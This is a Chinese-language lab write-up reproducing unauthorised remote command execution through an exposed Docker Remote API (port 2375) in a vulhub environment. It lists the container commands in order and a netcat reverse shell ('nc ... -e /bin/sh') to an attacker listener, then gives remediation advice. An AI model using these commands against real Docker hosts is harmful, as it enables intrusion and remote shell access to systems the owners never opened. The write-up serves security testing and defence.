影响范围
Docker ALL
漏洞类型
未授权访问类
利用条件
影响范围应用
漏洞概述
Docker Remote API是一个取代远程命令行界面(RCLI)的REST API,当该接口直接暴漏在外网环境中且未作权限检查时,攻击者可以通过恶意调用相关的API实现远程命令执行
漏洞复现
环境搭建
下载环境
mkdir docker
cd docker
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/Dockerfile
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-compose.yml
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-entrypoint.sh

之后给docker-entrypoint.sh赋予执行权限
chmod 777 docker-entrypoint.sh

编译并启动环境
docker-compose up -d

漏洞利用
漏洞检测
docker -H tcp://192.168.17.140:2375 images

反弹shell
Step 1:在VPS上监听9999端口
nc -lnvp 9999

Step 2:查看目标系统上存在的镜像
docker -H tcp://192.168.17.140:2375 images

Step 3:之后创建一个轻量级镜像
docker -H tcp://192.168.17.140:2375 run -id alpine:latest

Step 4:查看运行的容器信息获取对应的容器ID
docker -H tcp://192.168.17.140:2375 ps

Step 5:进入容器并通过nc进行反弹shell
docker -H tcp://192.168.17.140:2375 exec -it cbb678549422 sh
nc 192.168.17.128 9999 -e /bin/sh

Step 6:在攻击主机中成功接收到shell

Step 7:退出并删除容器
exit
docker -H tcp://192.168.17.140:2375 rm cbb678549422 -f
docker -H tcp://192.168.17.140:2375 ps

修复建议
1、对2375端口做网络访问控制,例如:ACL控制
2、修改docker swarm的认证方式,使用TLS认证
本文详细介绍了Docker Remote API的一个安全漏洞,该漏洞允许未授权访问,可能导致远程命令执行。攻击者可以利用暴露在外网的2375端口,通过一系列步骤实现对目标系统的控制。修复建议包括限制网络访问和启用TLS认证。
5668

被折叠的 条评论
为什么被折叠?



